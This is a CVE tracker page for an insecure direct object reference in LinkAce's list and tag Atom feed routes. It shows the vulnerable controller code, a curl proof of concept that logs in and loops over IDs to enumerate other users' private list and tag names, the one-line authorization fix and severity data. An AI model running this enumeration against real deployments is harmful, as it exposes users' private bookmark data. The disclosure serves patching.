CVE Watchtower

← Back to CVE List

CVE-2026-104186NVD

Vulnerability Summary

Summary I found an Insecure Direct Object Reference (IDOR) vulnerability in LinkAce's authenticated Atom feed endpoints. The `GET /lists/{list}/feed` and `GET /tags/{tag}/feed` routes resolve the list or tag by integer ID from the URL path but perform no authorization or visibility check. Any authenticated user can access the Atom feed of any other user's private list or tag — including lists marked as `PRIVATE` — by enumerating integer IDs, exposing the private list/tag name and the contents (bookmarks) of that taxonomy. Details In `app/Http/Controllers/App/FeedController.php` at lines 44 and 64: ```php // FeedController.php line 44 public function listLinks(Request $request, LinkList $list): Response { // NO $this->authorize(), NO policy check, NO visibility scope $links = $list->links()->visibleForUser()->with('user')->latest()->get(); $meta = [ 'title' => $list->name, // PRIVATE list name returned in Atom <title> 'description' => $list->description, ... ]; return new Response(view('app.feed.links', ['meta' => $meta, 'links' => $links, ...])); } // FeedController.php line 64 public function tagLinks(Request $request, Tag $tag): Response { // NO $this->authorize(), NO policy check $links = $tag->links()->visibleForUser()->with('user')->latest()->get(); $meta = [ 'title' => $tag->name, // PRIVATE tag name returned in Atom <title> ... ]; } ``` Route model binding resolves `LinkList` and `Tag` by integer primary key with no visibility scope applied (the only global scope on these models is `OrderNameScope` which only adds `ORDER BY name`). The controller never calls `$this->authorize()`, never checks the list/tag's `visibility` field, and never verifies that the authenticated user owns the requested resource. By contrast, the web UI controllers that serve the same data correctly enforce authorization: ```php // app/Http/Controllers/App/ListController.php public function __construct() { $this->authorizeResource(LinkList::class, 'list'); // enforces LinkListPolicy::view() } ``` `LinkListPolicy::view()` checks `$list->visibility` and returns `false` for PRIVATE lists owned by other users. The feed controller has no equivalent protection. PoC Prerequisites: - Two LinkAce accounts: victim and attacker - Victim has a PRIVATE list (visibility=0) with private bookmarks - Tools: `curl` ```bash LINKACE="https://linkace.example.com" Step 1 — Attacker logs in and gets a session CSRF=$(curl -sc /tmp/att.jar "$LINKACE/login" | grep -oP 'name="_token" value="\K[^"]+') curl -s -c /tmp/att.jar -b /tmp/att.jar -X POST "$LINKACE/login" \ -d "_token=$CSRF&email=attacker@example.com&password=secret" -L -o /dev/null Step 2 — Confirm that direct access to the private list is blocked in the web UI curl -si -b /tmp/att.jar "$LINKACE/lists/5" | grep "^HTTP" Expected: HTTP/1.1 403 — correctly blocked by ListController + policy Step 3 — Feed endpoint has no authorization check — returns private list data curl -s -b /tmp/att.jar "$LINKACE/lists/5/feed" Expected: full Atom XML containing: <title>victim's private list name</title> <entry><title>Private Bookmark Title</title><link href="https://private.example.com/..."/>... NOTE: visibleForUser() filters links to public+internal, but the list NAME and STRUCTURE is exposed Step 4 — Enumerate all private lists by iterating IDs for ID in $(seq 1 200); do TITLE=$(curl -s -b /tmp/att.jar "$LINKACE/lists/$ID/feed" | \ grep -oP '<title>\K[^<]+' | head -1) [ -n "$TITLE" ] && echo "List $ID: $TITLE" done Expected: prints names of all lists including other users' PRIVATE lists Step 5 — API token variant (no browser needed) curl -s -H "Authorization: Bearer <attacker-api-token>" \ "$LINKACE/lists/5/feed" | grep '<title>' Expected: <title>Private List Name</title> Step 6 — Same vulnerability on tag feeds for ID in $(seq 1 500); do TITLE=$(curl -s -b /tmp/att.jar "$LINKACE/tags/$ID/feed" | \ grep -oP '<title>\K[^<]+' | head -1) [ -n "$TITLE" ] && echo "Tag $ID: $TITLE" done Expected: enumerates all tag names including private tags ``` Impact Any authenticated LinkAce user — including users with read-only API tokens — can: 1. Enumerate all private list and tag names across all users by iterating integer IDs, revealing the organizational taxonomy of other users' bookmarks (e.g., "Competitor Research", "Job Applications", "Medical", "Financial") 2. Read all public and internal-visibility bookmarks within any private list/tag, including their URLs, titles, and descriptions — exposing bookmarks that the owner marked as internal expecting them to be visible only to themselves 3. Reveal organizational structure even for bookmarks that are set to PRIVATE visibility (which are excluded by `visibleForUser()`), since the list name and the fact that the list contains bookmarks is still disclosed via the Atom metadata Fix Add an authorization check at the start of each feed method in `app/Http/Controllers/App/FeedController.php`: ```php // listLinks() — add after method signature: $this->authorize('view', $list); // tagLinks() — add after method signature: $this->authorize('view', $tag); ``` These calls will invoke `LinkListPolicy::view()` and `TagPolicy::view()` respectively, applying the same visibility enforcement that the web UI controllers already use. The policies already implement the correct three-tier visibility check; the fix is simply calling them. If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
Severity Level
MEDIUM(4.3)
Published Date
Oct 2, 2026
Last Modified
Oct 2, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
EPSS Score (30-Day)
Data Pending
Root Weakness (CWE)
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
The software does not perform an authorization check when an actor attempts to access a resource or perform an action.
CVSS v3.1 Base Metrics — Score 4.3
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityNone
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • kovah/linkace <= 2.5.9
Patched Versions
  • kovah/linkace 2.6.0
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.